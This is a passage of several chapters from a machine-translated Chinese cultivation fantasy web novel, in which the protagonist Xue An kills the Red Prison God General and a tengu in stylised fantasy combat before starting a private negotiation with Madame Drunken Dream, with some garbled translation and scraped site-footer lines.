    But the key is that from beginning to end, Xue An didn''t have any fluctuations in his cultivation.


    It was as if he had cast a hand of magic, and he immediately made a fairly good cultivation base He Chun completely disappear.


    How could these methods not horrify everyone present.


    Even this red prison **** general, after seeing this scene, his eyelids were constantly beating.


    Because he didn''t see through what method Xue An had just used!


    The unknown is always frightening, especially a mysterious teenager who doesn''t even know his identity!


    The Red Prison God will suddenly feel regretful in his heart, regretting that he shouldn''t be so arrogant just now.


    But at this moment, Xue An turned around slowly, weighing the heart in his hands indifferently, and said lightly: "Do you really want this stuff?"


    When Xue An''s sight touched him, the Scarlet Prison God General felt that he was tight, and his heart was alarming. The feeling was as if he was being watched by an ancient dragon.


    "When...Of course I want it!" Chi Prison stammered.


    Maybe he didn''t even realize it. At this time, his tone and attitude were completely different from before, becoming... a lot more gentle!


    Xue An naturally noticed it, but he just smiled, and then shook his hand abruptly.


    puff!


    After a muffled sound, the beating heart, exuding powerful divine power fluctuations, was squeezed and exploded by Xue Ansheng.


    It seems to be a psychological effect, or for other reasons, at the moment when the heart is pinched.


    Chi Prison felt a sharp pain in his empty chest which made him let out a miserable cry.


    But Xue An lightly clapped his hands, "I''m sorry, I just wanted to return it to you, but I accidentally used a bit more strength. Who knew your heart is so fragile, so it exploded! I think you should Don''t blame me!"


    Looking at the smile on Xue An''s face, Chi Prison felt that a violent dragon was awakening in this young man''s body.


    This made him startled and angry, and he couldn''t help but roar.


    "I really thought I was afraid that you won''t make it, so wait for the order and kill him!"


    Following the order of the Chi Prison, the huge banquet hall suddenly shook, and then fell to all sides. Amidst the smoke and dust caused by the falling of the roof, he suddenly flew out of Guanghua before heading straight to Xue An. Come.


    The power aroused even caused ripples in the surrounding space.


    But in the face of this shocking siege, Xue An laughed loudly.


    "Okay! Today, let me fight a pain!"

 Chapter 1181： Chihuo Hell

    After all, Xue An stepped forward and faced the attacks from all directions alone.


    This kind of formation shocked everyone in the audience, and then they shook their heads, thinking that Xue An would be hard to escape this time.


    Chi Prison laughed triumphantly, "Boy, I admit that you are really strong, but you forgot, this is one three-square-meter of Lao Tzu''s land, and the strong dragon still doesn''t crush the snake, you..."


    He didn''t finish his clamor, because at this moment, the scene suddenly appeared completely stunned him.


    But seeing Xue An face the rushing Quartet Huaguang, his expression is indifferent, without any expression, just watching quietly.


    Even when Xue An''s forehead''s temples swayed by the air current aroused by Guanghua, he didn''t make any movements.


    It wasn''t until Guanghua was already able to rush to the front, Xue An suddenly raised his eyes, the light in his eyes burst, and then suddenly raised his hand in a short period of time, and the letter fell down.


    boom!


    Just heard a loud noise.


    Seeing that the Huaguang rushing to the forefront was pressed down by Xue An''s palm, everyone only felt that the ground was shaken, and then they saw that the extremely hard ground was smashed into countless radial cracks.


    As for the deep pit at the center of the crack, there was a protoss powerhouse who was stunned to bleed and was unconscious.


    But this is just the beginning.


    Seeing Xue An, like a hamster, with his palm flying like a fly, he repeatedly pressed it down.


    And with every palm, an arrogant Huaguang directly smashed into the ground, causing the ground to shake.


    at last.


    When all the Huaguang from the siege disappeared, there were countless cobweb-like cracks on the ground.


    In the cracks, there are a dozen large pits evenly arranged.


    In the pit, there were all protoss powerhouses who were severely injured by Xue An''s palm and completely lost the ability to resist.


    This result left everyone in the audience stunned.


    Even Chi Prison did not expect that the siege of the subordinates that he had finally summoned would end up with such a result.


    Seeing Xue An''s relaxed and freehand brushwork, like a game, even made Red Prison a little suspicious.


    I wonder if these men of my own are too weak, so that they are like the gophers who took the initiative to send them to the door and were shot by Xue An. They couldn''t even resist and were all seriously injured.


    Just as Chi Prison''s heart was filled with all sorts of messy thoughts, but seeing Xue An look around the messy ground, he clapped his hands with some satisfaction.


    "It feels pretty good!"


    As he said that, he raised his head and smiled gently at Chi Prison, "What other tricks are there, let''s take them out together, take advantage of the little master, I am interested today, and have fun with you!"


    These words made Chi Prison angry, but with Xue An''s current strength, he also had to deal with it carefully.


    So he snorted and said gloomily: "Boy, you forced me!"


    As he said, he suddenly waved his hand, and the strong protoss among the dozens of giant pits trembled together, and then the body burst open instantly.


    The essence and blood contained in it turned into a stream of light and directly merged into the body of the red prison.


    With the influx of streams of light, the aura on Chi Prison''s body became stronger and stronger, and through the wound on his chest, you could see that rainbow lights gradually appeared in the originally empty chest.


    Then these rainbow lights gradually converged, and finally condensed into a small heart.


    At the beginning, this heart was the size of a peanut.


    But when it throbbed, it made the nearby void shake.


    And after a few beats, the heart increased at a speed visible to the naked eye, and finally returned to normal.


    Immediately afterwards, even the wounds on the chest and back of the red prison disappeared invisible.


    With just a few breaths, the Red Prison, who had just been seriously injured, returned to normal, even more vigorous than before.


    But this act of devouring one''s own subordinates to recover from his injuries has made everyone in the audience look a little ugly.


    But Chi Prison didn''t care about this, he saw him laughing strangely: "Boy, I was careless just now, but this time, I will teach you how to behave!"


    As he spoke, he saw that the body of the red prison suddenly flashed, and he had already reached the high altitude, and then the aura spread and enveloped the surrounding world.


    The strong aura can''t bear it, but it has already changed the color of the world.


    But all the power and power were directed at Xue An standing in the field.


    Xue An was looking at the red prison with great interest, and his eyes even flashed with eagerness.


    "It''s interesting, come on! Master, I won''t move, first try how powerful your trick is!" As he said, Xue An didn''t forget to hook his finger at the red prison above the sky.


    At this time, the red prison could no longer contain the anger in his heart, and he coldly snorted, "Red fire...transform hell!"


    Following his order, the gray mist that lingered behind Chi Prison suddenly turned into a burning red flame, and then directly descended on Xue An''s body at an incredible speed.


    But seeing the flames boil, red flames all over the sky.


    The whole world seemed to be surrounded by this endless red fire.


    As for Xue An, who was still standing there, there was no trace of it.


    Many people sighed secretly, and they were still dead!


    Chi Prison couldn''t help but let out a breath.


    Generally, he is not willing to use this trick until the moment of crisis.


    Because this Scarlet Hell uses his own original power, once it is used, it can be said to be traumatic.


    But now the situation forced him to do so.


    But fortunately, this young man who didn''t know where to jump out was eventually buried in his own scarlet hell.


    But this thought just arose, and he didn''t wait for a smug look on his face.


    Just listen to the sound of Xue An��s chuckle in this **** of red fire It��s hard for you to think about using fire to deal with me! "


    With the voice, Xue An''s figure gradually emerged in the raging flames.


    But at this moment, he didn''t feel the slightest embarrassment.


    On the contrary, instead, his clothes were fluttering and his expression was indifferent, and even the temples of his forehead were not affected at all, as if he was not in **** of flames, but on the beach in the afternoon.


    And when he wandered around, the red flames that had been scorching the sky looked like a cat and a mouse. He didn''t even dare to get close, but kept backing away.


    So in this red fire **** there was such a wonder.


    As Xue An stepped on the blazing ground, the flame was instantly extinguished, and the fire was steadily retreating.


    This feeling is like Xue An is pushing back a arrogant and domineering fire dragon step by step.


    In this situation, Xue An walked out of this scarlet **** in an instant.

 Chapter 1182： Thunder Wanjun is full of compassion

    And when his feet landed on the ground, the sky full of red fire wailed, and began to shrink sharply at an eye-popping speed. When it was only the size of a fireball, it flew straight into Xue An''s palm. in.


    Then I saw a weak red flame in Xue An''s palm burning.


    Xue An raised his head and smiled at the already dumbfounded Chi Prison while standing high in the sky.


    "Thank you Lao Tie for the flame!"


    With that said, Xue An swallowed the red flame in one mouthful of horrified eyes.


    Then he chirped his mouth and nodded, "It tastes good! Anything else?"


    These words made Chi Prison almost stand unstable and fell from a high altitude.


    Because he had never seen someone as fierce as Xue An.


    It was nothing more than to walk out of his own scarlet **** unharmed, and he actually swallowed the scarlet flame that he was famous for.


    And looking at the relaxed look, it seems to be no different from eating candy.


    This kind of abnormal situation caused Chi Prison''s heart to feel cold, and he couldn''t help regretting that he hadn''t dared to wade through the muddy water before.


    But at this point, he could only gritted his teeth, and shouted in a bit sternly: "Boy, I admit that I misunderstood you before, you really have two things! But do you really think this is enough?"


    "You know, this is my main place, I..."


    Xue An waved his hand impatiently, "Okay, I see, do you want to say that the dragon does not crush the snake? But the point is..."


    Xue Ansen smiled, "I am not a dragon, and you are not a snake! So if you don''t have any new tricks, don''t blame me for being rude!"


    The words were plain, but he was sitting on pins and needles in the ears of the red prison.


    Because he could feel that in Xue An''s indifferent tone, there was an extremely terrifying killing intent.


    Thinking of this, he was finally cruel, turned his head and roared in the direction of the City Lord''s Mansion: "If you don''t come now, when will you wait?"


    But with the red prison''s order, the surroundings were quiet, let alone people, not even a shadow was seen.


    At this time, everyone couldn''t help but feel a little confused, not knowing what the **** was going to do.


    But at this moment, I saw a layer of ripples suddenly appeared on the back of Xue An''s head, and then I saw a black dagger pierced straight down. The speed was so fast that it could be called thunderous.


    This speed, coupled with the extremely short distance, can be said to be too late for people to react.


    Even many people haven''t seen what''s going on.


    But even in such a period of time, this dagger pierced the air in an instant, and the tip of the knife directly penetrated.


    Then the phantom disappeared.


    These changes made the person holding the dagger startled and realized that he had been exposed.


    But this person is also no trivial matter. He didn''t panic at all. Instead, he turned his dagger back calmly and shot directly behind him.


    But such a powerful blow failed again, and then I heard Xue An''s approving voice from the side.


    "The swordsmanship is good, and the speed is quite fast. If you didn''t meet me, someone else might have followed your way!"


    Hearing what Xue An said, the man holding the dagger did not say a word, but turned and ran.


    He knew that this wave of his attacks had completely failed, so he didn''t want to fight.


    But he planned well, but Xue An didn''t plan to let him go.


    "Hehe, do you want to leave just like that?"


    With that, Xue An plunged into the void with one hand, grabbed the person who was about to flee, and directly dragged him out, then raised his other hand and was ready to shoot down.


    But at this moment, Xue An suddenly gave a shock.


    Because the man who appeared in front of him was a brilliant-faced white man.


    This is nothing strange, but the point is that Xue An felt a familiar breath from the white man.


    This changed his expression, and the hand he was about to clap stopped instantly.


    At this time, the man who was caught by Xue An was already ready to wait for death, but he did not wait for Xue An to start.


    This caused the man to be a little surprised. When he opened his eyes, he found that Xue Anzheng was looking at him in astonishment.


    Although I don''t know why this incomparably powerful young man didn''t do anything, the man reacted in an instant because of his survival instinct.


    He suddenly opened his mouth and screamed, and the sound wave pointed directly at Xue An, strong enough to shake the power of the strong.


    Then he took this opportunity to raise his hand with another blow, and the dagger pierced Xue An''s chest.


    But it was such a sure blow, but it was missed again.


    Because the dagger that Cyclonus rushed into suddenly stopped in midair and could not be stored.


    Because Xue An''s hand had been blocked in front of him at some point, and he directly clamped the dagger with two fingers.


    The speed of the movement was not affected by the scream just now.


    This time, the man was completely desperate.


    Because this young man has exceeded his imagination.


    The only thing he can do now is to close his eyes and wait for death.


    But he never expected that the young man still didn''t do anything, just sighed slightly.


    "I don''t know how to deal with this memory after you return to normal!"


    These words were so ignorant that many people were stunned.


    This man was the same, he looked at Xue An in a little astonishment, "What do you mean?"


    Xue An smiled at him, but this smile contained compassion, and then whispered: "It''s nothing, just feel it!"


    As he said, Xue An raised his hand and ran his fingers straight to the man''s door.


    The man sighed secretly, knowing that he was dying, and did not resist, but closed his eyes calmly.


    At the same time, there was a woman''s exclamation in the distance.


    "Don''t...!"


    It''s a pity that this voice is so far away, there is no time to rush over.


    After hearing this voice, the man trembled in his heart and wanted to open his eyes to take a look, but in the end he gritted his teeth and did not open.


    Miss Jiang, see you in the next life because of the fate! The man said silently in his heart But at this moment, Xue An''s fingers had already rushed to the front, but unlike people''s imagination, one finger ended the man''s life.


    Instead, it flicked between the man''s brows.


    This made the man tremble all over, and the whole person instantly froze in place, unable to move anymore.


    Then he opened his eyes and looked at Xue An suspiciously.


    Facing the gaze of the man''s questioning, Xue An just smiled, "Don''t worry, just watch it here and see how I will kill these guys in a while!"


    The tone in this sentence is even more strange.


    The man finally couldn''t help but asked, "Why didn''t you kill me?"


    "Kill? Why should I kill you?" Xue An said lightly, and then suddenly seemed to think of something and asked with interest.


    "Forgot to ask, what is your name?"


    The man was silent for a moment, and finally said slowly: "Wow!"

 Chapter 1183： It’s all a misunderstanding

    "Wow?" Xue An was startled slightly, then shook his head and chuckled, "I should have thought of it long ago!"


    At the same time, Jiang Xunnan has also rushed to the front.


    But she stood in the distance, looking at Xue An with fear, and did not dare to come over.


    Xue An naturally noticed her too, because the previous "don''t" was shouted from her mouth.


    This made Xue An a little curious about the woman, and he couldn''t help but look more.


    Then he discovered an interesting thing.


    I saw this Jiang Xunnan from time to time looking at the Roaring Sky who was bound there with concerned and worried eyes, his mouth moved lightly, as if he was talking, but there was no sound.


    And Xuantian seemed to be able to hear these words, and the two began to communicate.


    Xue An couldn''t help being a little funny when he saw this.


    Because he knew at a glance that this Jiang Xunnan was not a human race, but a golden dog, then her communication with Xiaotian should be the secret technique between the canine race.


    But judging from the appearance of the two, they seem to have a deep relationship! Xue An sighed silently in his heart, and then smiled at Jiang Xunnan.


    "This girl, you can come up and talk to this general snarling, it''s fine!"


    Jiang Xunnan was taken aback when she heard the words, she didn''t know whether Xue An was an enemy or a friend, so she was full of jealousy.


    But anyway, Xue An at least didn''t do it directly, because she had seen what happened just now. If Xue An wanted to kill Xuantian, he would have died eight times earlier.


    Could it be... he really has no hostility?


    Jiang Xunnan thought about it, then nodded cautiously, "Thank you, sir!"


    After that, she walked to the front of the sky and looked after him with concern.


    Xue An just smiled indifferently, then raised his head to look at the red prison in the sky, and lazily said: "Is there any other tricks to use together, I don''t have much patience now! So I took it. You should cherish the time you come down!"


    Chi Prison was so angry with Xue An''s words, but he was a little scared in his heart.


    Because until now, he has not seen Xue An''s details.


    Especially Xue An didn''t show the slightest cultivation base from the beginning to the end, but his ability to dominate the crowd. This sounded like a fantasy, but it happened in front of him.


    This caused a chill in Chi Prison��s heart. After weighing the pros and cons, he gritted his teeth abruptly and said in a deep voice, "My friend, I think there must be some misunderstanding between us. After all, we didn��t have any grudges before. Just a woman, this is actually not a crime at all!"


    The tone of these words was completely different from before, at least many people''s complexions changed, and then they looked at each other in amazement.


    Will the Red Prison God admit it?


    This is incredible!


    However, Xue An was not moved by the words of the Red Prison at all. Instead, he hugged his shoulders and looked at him in time.


    "Oh? Not guilty?"


    Chi Prison nodded, then took a deep breath and said, "Yes! This incident was just a misunderstanding from beginning to end! And since my friend values ??this Yan Meishu so much, then I can give in. Such a big fight? Actually..."


    Before he finished speaking, Xue An waved his hand impatiently, "Say the point!"


    A flash of anger flashed in Chi prison''s eyes, but his calmness quickly recovered.


    "Friend, you squeezed my heart and injured more than a dozen of my subordinates, but I don��t intend to pursue this account. Let��s expose it. You can leave with this Yan Meishu now. Never stop, what do you think?"


    This condition came out.


    The audience was in an uproar.


    Because in the eyes of everyone, the Scarlet Prison God General had obviously made a great concession.


    No matter who was right or wrong, after all, Xue An had just squeezed the heart of the Red Prison and injured so many people, the situation seemed to be out of control.


    But Chi Prison actually said that he would no longer be held accountable, which can be regarded as giving Xue An enough face.


    Now, everyone is sure that Xue An will definitely accept this condition.


    Because as Chi Prison said, the cause of this incident was nothing more than a woman. As for Xue An and Chi Prison, there was no hatred at all.


    In this case, as long as people with a right mind will choose to settle things down.


    Even Yan Meishu let out a sigh of relief.


    In any case, his life fortune was saved. If it hadn''t been for Xiaoge Xue to take action, he might have become the plaything of this red prison.


    Thinking of this, Yan Meishu couldn''t help looking at Xue An with blushing cheeks, and her heart beat more violently.


    Originally, she had a very good impression of Xue An before, but the fact that Xue An didn''t cultivate his foundation made Yan Meishu feel like a dog in his throat, which was full of regret.


    But until now, she understood.


    It turns out that Xue An is not without strength, but because he has too little knowledge!


    As for the cultivation base...


    What if there is no cultivation base? Isn''t this still defeating the famous Red Prison God Generals?


    The more she thought about it, the more Yan Meishu felt hot, and she couldn''t help looking at Xue An with wintry eyes.


    But at this moment, an unexpected thing happened.


    When everyone thought the matter was over, Xue An laughed.


    It''s just that his smile at the moment is not warm at all, but full of murderous intent.


    "It makes sense, but unfortunately...I still don''t accept it!"


    boom!


    This time the whole audience exploded.


    "What? Does he still disagree with such a condition? What exactly does he want to do? Is it true that he really has to fight the Scarlet Prison God General?" Someone shouted in astonishment.


    "Although this young man is very powerful, he is still too young! The Scarlet Prison God General gave in like this, but he is still reluctant. If the God General is really pressed, the victory or defeat will be difficult to say!" Someone sneered. .


    Chi Prison didn��t expect that Xue An actually rejected the conditions he offered, and couldn��t help shouting in anger, "Friend Don��t think I am really afraid of you, I just think it��s because of a woman. And such a big fight is not worth it! After all, there is no hatred between you and me!"


    "I have no hatred?" Xue An''s smile gradually became cold. "Who told you that you and I have no hatred?"


    "Huh?" Chi Prison was taken aback, and then took a deep look at Xue An, "What do you mean? You know, you and I have never met before today! How can I say that?"


    Xue An smiled, but didn''t answer Chi Prison''s words directly. He just said casually: "What enmity, you will know it later! I will give you three breaths now. After three breaths, if you fail Do it, don''t blame me for being impolite!"


    Hearing Xue An''s words, Chi Prison was furious.


    "Boy, you are so arrogant! Well, today I will let you know how much I hate the gods!"


    After that, he looked up to the sky and roared, "Where is the tengu!"


    boom!


    With the sound of his roar, but seeing the originally clear night sky suddenly darkened.

 Chapter 1184： Tengu horrified, Chi prison lost sight

    Then I heard a vicious voice from the sky, "Master God, wait a minute, Tengu is coming!"


    After speaking, I saw a black light falling from the sky, directly beside the red prison, waiting for the stream to stop.


    It was the tengu before.


    You must know that Tengu is a alien species left over from ancient times, and usually likes to live on the sky, devouring the essence of the sun and the moon.


    In particular, this tengu was injured by the snarling sky before, and if he wants to recover, he has to absorb the essence twice.


    So since the day of the fight, he has been sleeping on the sky without ever coming down.


    He didn''t wake up from his sleep until he heard the call of Chi prison this time, and then came down.


    At this time, because of the arrival of the tengu, there was a commotion in the audience.


    Only Xue An''s eyes flashed slightly, and then a cold smile rose from the corner of his mouth, whispering to himself.


    "It''s a bit interesting, it''s actually an ancient alien tengu, but unfortunately the blood is too mixed, otherwise the strength is not only here! It''s just that the aura on his body is somewhat familiar?"


    A trace of doubt flashed in Xue An''s eyes.


    At the same time, I saw this tengu giving a deep salute to the red prison, "What command does the Lord God command?"


    Chi Prison took a look at the Tengu, and found that his subordinate was full of energy, and he had obviously recovered to the same level as before. This calmed his originally a little jealous heart quickly, and then raised his hand to Xue An on the ground and said coldly.


    "This person hurts my body and destroys my subordinates. He is extremely arrogant. He must be killed today!"


    "Yes!" The tengu directly responded, and then he smiled and looked at Xue An on the ground.


    "Where is the wild..."


    The tengu who was about to shout a few words suddenly stopped, then his face instantly turned pale as paper, and his whole body was trembling.


    Chi Prison did not notice this scene. At this moment, his heart was full of pride, and he sneered at Xue An arrogantly: "Friend, you asked for this!"


    Xue An ignored the words of the Red Prison, because at this moment, he suddenly remembered why he looked familiar with this tengu.


    Isn''t this the tengu aura that sealed oneself at the time of the skyfire abyss?


    Thinking of this, a faint smile appeared on the corner of Xue An''s mouth.


    "long time no see!"


    The voice is very flat, but it can be heard in Tengu''s ears, but it is no less than a thunderbolt in a clear sky, and it awakens from the loss in an instant.


    Then he screamed: "It''s you! It''s you! Why are you here?"


    The fear and panic in the voice were almost overflowing.


    Chi Prison was also a little dumbfounded, "Who is he?"


    Tengu barely calmed down at this time, but still looked at Xue An with infinite horror, and trembled: "God... Lord God, this guy is what I mentioned to you before, and that just punched me. The person who completely shattered his seal!"


    Chi Prison heard this, his mouth gradually widened.


    He did not expect such a thing to happen.


    But immediately, he remembered something and exclaimed, "Amaterasu God Realm, you are from Amaterasu God Realm?"


    Xue An laughed, and then said sensibly: "You are right! Reward you for a punch!"


    After all, Xue Anta took a step forward, and his whole person instantly appeared in front of Chi Prison and Tengu, raising his hand with a punch.


    The power of this fist fell in the eyes of everyone and felt that the world seemed to have been overturned by Xue An directly, and all of them couldn''t help but change in amazement.


    The tengu screamed, he was extremely jealous of Xue An, didn''t dare to love fighting, turned around and ran.


    Chi Prison wanted to run, too, but his position was the first to bear the brunt. He couldn''t get away even if he wanted to run. He had no choice but to cross his heart and roar, "Go to death!"


    Having said that, the vertical eye between his forehead suddenly opened, and his vision was sharp as a knife, directly cutting the space in front of him into a long gap.


    At this time, Xue An''s punch happened to hit, and then the entire arm was swallowed by this spatial crack.


    Chi Prison was overjoyed when he saw this, "Hahahahaha, boy, I was in an ambush, now I see how arrogant you are!"


    In his opinion, no matter how strong he is, as long as he enters this gap in space, he will definitely die.


    Therefore, he was naturally extremely excited, then lifted his palm and fell towards Xue An.


    But he, who had been dazzled by excitement, didn''t notice at all. Xue An, whose arm was dragged into the space crack, had a cold smile at the corner of his mouth.


    Chi Prison''s excitement and pride did not last long, because he suddenly felt a cold in his chest.


    And this feeling is very familiar.


    This couldn''t help making him look down.


    really.


    Seeing a slender hand did not know when it had penetrated his chest, and in the hand, he still held a red heart.


    This familiar scene shook the red prison body, and then let out a terrible howl.


    Because Xue An didn''t hesitate this time, he squeezed the heart in his hand.


    Chi Prison trembled in pain, exhausted his last bit of strength and rushed forward a hundred meters away, then turned around and looked at Xue An with horrified eyes.


    Because his heart was squeezed twice in a row, the strength of Chi Prison was greatly damaged, and he seemed to have lost the power to resist.


    At this time, Xue An said calmly: "Didn''t you ask what we have between us? I can tell you now! Because of this!"


    As he said, Xue An raised his hand and pointed his fingertips at the vertical eye between the forehead of the red prison.


    "How did you get the vertical eye on your forehead, do you still need me to say it?"


    Chi Yu''s expression changed wildly, "You...you are!"


    Xue An nodded, "Yes, I am!"


    Chi Prison was horrified, because he suddenly wanted to understand a lot of things.


    Why would Lord Tianjun send himself to guard the edge of the sea with great concern.


    The root of everything is because of this young man!


    Then his history is ready to come out!


    It is probably from...Chinese!


    As soon as this thought came out, Chi Prison felt that his scalp was numb, and he couldn''t help but tremble: "You...you..."


    After you have spent a long time, he didn''t say the rest.


    Xue An stood on the void and said lightly: "Now tell me, where is the real master of your vertical purpose, I can let you go!"


    Chi Prison trembled all over and finally woke up, but he did not respond to Xue An''s words at all, but turned and ran.


    He can live in this Lihentian for so long and become the strongest general under Lihentian Jun. It is not all strength, but more importantly, he is very good at seeing the situation.


    Now this young man is obviously unkind. If he wants to survive, he had better run as far as he could.


    After you go back, tell Lord Tianjun the news!


    Chi Prison thought in his heart, urging his whole body to cultivate and flee.


    But at this moment heard a sigh in front of him, "Why can''t you guys be honest and obedient? Do you have to let me do it?"


    Chi Prison was so scared that the souls of the dead were scared, but the movement in his hand was very fast, and he raised his palm and patted Xue An.


    But Xue An didn''t even hide, and the snap of his fingers shook the palm of the Red Prison, and then **** appeared directly in front of the Red Prison''s forehead without hesitation!


    After a muffled sound, he heard a terrible howl from Chi Prison, then he covered his **** forehead with his hand, and backed away in horror.


    And Xue An held this brilliant **** eye in his hand and said lightly: "Only you are worthy of having such a **** eye?"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1185： No matter who

    In the severe pain, Chi Prison was trembling all over, and his eyes were filled with fear and panic.


    He couldn''t figure out why this young man without the slightest fluctuation in his cultivation level would have such a powerful strength.


    At this moment, Xue An suddenly smiled at Chi Prison, "Wait a minute!"


    After all, his whole person disappeared instantly.


    Chi Prison was taken aback.


    What is this boy going to do?


    Not only him, everyone in the audience was a little confused.


    However, Chi Prison soon woke up, realizing that this was a rare opportunity to escape.


    But just when he was about to turn around and flee here.


    Seeing a streamer flashed by, Xue An reappeared in the field.


    But at this moment there is one more person in his hand.


    The person shuddered, and blood was dripping down his forehead, but even so, he still couldn''t hide the panic in his eyes.


    Seeing this person, the audience was quiet first, and then there was a low commotion.


    Because it was the Tengu who had just fled away from Xue An.


    Everyone thought that the Tengu had successfully escaped, but they never expected that Xue An caught the Tengu with just a few fingers.


    This speed is simply shocking and breathtaking.


    Chi Prison was also stupid.


    He also didn''t expect Xue An to catch the tengu back, but what was he doing?


    A trace of doubt arose in Chi Prison''s heart.


    At the same time, Xue An lowered his head and smiled at the tengu.


    "In the Amaterasu God Realm that day, I was considered to have saved your life, but I didn''t expect you to become even more serious instead of knowing your repentance, so don''t blame me!"


    After that, Xue An suddenly raised his hand and raised the tengu in front of him.


    Tengu shook his body and shouted in horror: "My lord, I don''t know it is you! I don''t dare anymore, please..."


    puff!


    The following words stopped abruptly, because Xue An had already blasted the tengu''s head with a punch.


    A cloud of blood spread.


    The body without his head trembled slightly.


    But this did not end, and a red flame suddenly appeared in Xue An''s hand, and then he waved.


    The flame directly attached to the tengu''s body, burning raging.


    The sound of the skin being scorched by high temperature mixed with the smashing sound of muscles and bones spread throughout the audience, making people shudder upon hearing it.


    Immediately afterwards, I heard an extremely miserable howl from the red flame, and then everything returned to silence.


    Only the flames still burning, and a strange smell of meat permeating the audience.


    The aroma smelled like... dog meat sold in a butcher shop.


    Many people can''t help but swallow subconsciously, feeling nauseous and uncomfortable.


    And such decisive killings naturally made everyone terrified.


    You must know that Tengu is also a strong one, but in the hands of this young man, it is almost like a lamb waiting to be slaughtered.


    Especially in the red prison, it was like seeing a ghost.


    Because the red flame that Xue An finally used was clearly his own life force.


    In the whole Li Hentian, apart from his possession, there is no second person.


    But this Xue An only absorbed a small flame and can display it perfectly, even more powerful than using it himself.


    This makes Akakuya doubt life.


    At this time, Xue An clapped his hands lightly, and then said lightly: "Now tell me where is the real master of this god! Otherwise...you will end up like this!"


    Scarlet Prison shook his whole body, and then shook his head in horror, "I don''t know, this **** was installed by Lord Tianjun himself. As for where the real master is, I don''t know!"


    Xue looked at the red prison quietly, without speaking.


    Under this silent pressure, Chi Prison was sweating all over, but still calmly said: "Friend, I really don''t know! But I can be sure that no matter who you are looking for, this person must be there. Li Heng Tianjun''s hands! And if you trust me, I can take you to find Master Tianjun!"


    This proposal actually contains evil intentions.


    Because Chi Prison knew very well that the young man in white clothes was too sharp, and he was not his opponent at all. In order to survive, the plan for the present was to avoid him.


    As long as he is willing to do it, when he sees Lord Tianjun, no matter how good he is, he will have to obediently restrain himself.


    I have to say that Chi Prison''s wishful thinking is very good.


    But at this moment, Xue An shook his head, "No, it''s easy for me to see Lihentianjun. You don''t need to lead the way!"


    Chi Prison was taken aback, "But..."


    Before he finished speaking, Xue An waved his hand, "Compared to those, killing you is the one thing I am most interested in right now!"


    The red prison suddenly changed.


    I have to say that his strength is still very good.


    At least at this moment, the whole body''s divine power was mobilized, trying to make a life-saving blow.


    unfortunately.


    Xue An could no longer give him this opportunity.


    Just when the aura on his body was about to take off, Xue An''s figure flashed, and his whole body instantly appeared in front and back of the red prison, and then blasted four punches in succession.


    Because the speed was too fast, it fell into the eyes of everyone and turned into Xue An, instantly turning into four, and then all punches.


    Even the sound aroused by the fist is so consistent.


    Chi Prison wanted to hide, but it was only then that he was horrified to discover that under Xue An''s fist, the environment around him had been completely sealed off, and he couldn''t even run away.


    In desperation, he could only cry bitterly.


    "Boy, don''t be crazy, Lord Tianjun will definitely give me revenge!"


    Xue An said lightly: "Don''t worry, he is the one who can''t get away the most!"


    at the same time.


    Just listen to a loud boom.


    Under the combined effect of these four punches, the Chi Prison in the middle couldn''t even resist, and the whole body was completely exploded like flesh.


    But even so, there is no blood mist overflow.


    Because of the power of Xue An''s fist, the space in the middle has been pulled out of the folds, and the blood mist instantly turned into nothingness because of the huge high pressure.


    Even this red prison is worse than the tengu who just died.


    The Tengu even let out a scream.


    This Chi Prison didn''t even have time to scream before he died, and was directly blasted into nothingness.


    So far.


    The Red Prison God General and others who were entrusted by Li Heng Tianjun to garrison here were wiped out.


    There was deathly silence.


    No one thought that things would develop into what it is now.


    This young man who was not optimistic by anyone at the beginning, actually killed many powerful people such as the Red Prison with only the power of his flesh.


    This is simply incredible.


    But at this moment, I only heard a round of applause coming from the crowd, and then a coquettish female voice was full of admiration and said: "What a powerful physical skill, it is really a hero who was born a boy!"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1186： Talking about a transaction

    Hearing the voice, everyone in the audience turned their heads, all their eyes focused on one person.


    She walked out, her face was full of admiration, and she bowed slightly at Xue An who stood proudly above the sky.


    "The city on the edge, drunk dream! I have seen an adult!"


    That''s right!


    The visitor was the second lady Drunk Dream.


    And seeing her appear, there was an unstoppable uproar in the audience.


    "The second lady is on the stage! How will she deal with this?"


    "It stands to reason that Chi Prison is a **** under Lord Tianjun, and belongs to the same line as the Madame Drunken Dream. Now that Chi Prison has fallen, this Madame Drunken Dream should avenge him!"


    "Yes, especially this incident still happened in the fringe city, Mrs. Drunken Dream will never give up!"


    "But what''s wrong with her current attitude?"


    "Who knows, watch it first!"


    Everyone was discussing, the housekeeper Yu Ren suddenly looked around coldly.


    As far as they could see, everyone felt their whole body tremble, and hurriedly lowered their heads, and they dared not speak any more.


    At this time, Xue An lowered his head and looked down at the charming and charming woman on the ground without speaking.


    This silence is so depressing, it is enough to shake the minds of ordinary strong people.


    But this Drunken Lady was not moved at all, and even the smile on the corner of her mouth had not changed.


    Seeing more of this scene, Xue An''s eyes flashed with an unknown light, and then he said lightly: "What? Do you want to avenge this red prison?"


    Drunk dreams covered her mouth and laughed, which is a good interpretation of what a smile is so charming.


    Then her eyes flowed, she glanced at Xue An with amorous feelings, and said with a smile: "My lord is really good at joking. Even the Red Prison God is not your opponent. How can a weak woman in my area have such courage and courage? Are you right?"


    Many people were dumbfounded by these words, and then looked at each other in amazement, all seeing the surprise in each other''s eyes.


    Could this drunken lady really not intend to retaliate? But isn''t she afraid that Lord Tianjun will blame her after knowing this?


    Under this weird atmosphere, Xue An suddenly laughed, and then said meaningfully: "Weak woman? You said you are a weak woman?"


    The smile on Zuimeng''s face froze, but soon returned to normal, "Am I a weak woman in front of adults?"


    The smile on Xue An''s face gradually faded, and then the whole person appeared on the ground in an instant, and said in a cold tone: "I don''t like other people talking nonsense, especially women! So... the point!"


    Such an attitude made Madame Drunken Dreams eyes flashed with anger, but her cultivation skills were much stronger than Chi Prison, at least the smile on her face remained unchanged. Then he raised his hand and pointed.


    A thin light curtain enveloped the surroundings, isolating everyone except Xue An.


    Xue An didn''t make any movement, and kept watching Drunk Dream''s movements with cold eyes.


    It wasn''t until the light curtain took shape that Drunken Dream smiled, "My lord, now the outside world can''t hear the conversation between us, so we can say something we really want to say!"


    Xue An was noncommittal.


    Zui Meng continued: "My lord, if I''m not mistaken, you should be from the Chinese nationality, and this time you came to Li Hentian, it is also to eradicate Li Hentian Jun!"


    If these words were heard by other people, they would all be dumbfounded.


    Because when Zui Meng mentioned Li Heng Tianjun, his face was full of undisguised disgust.


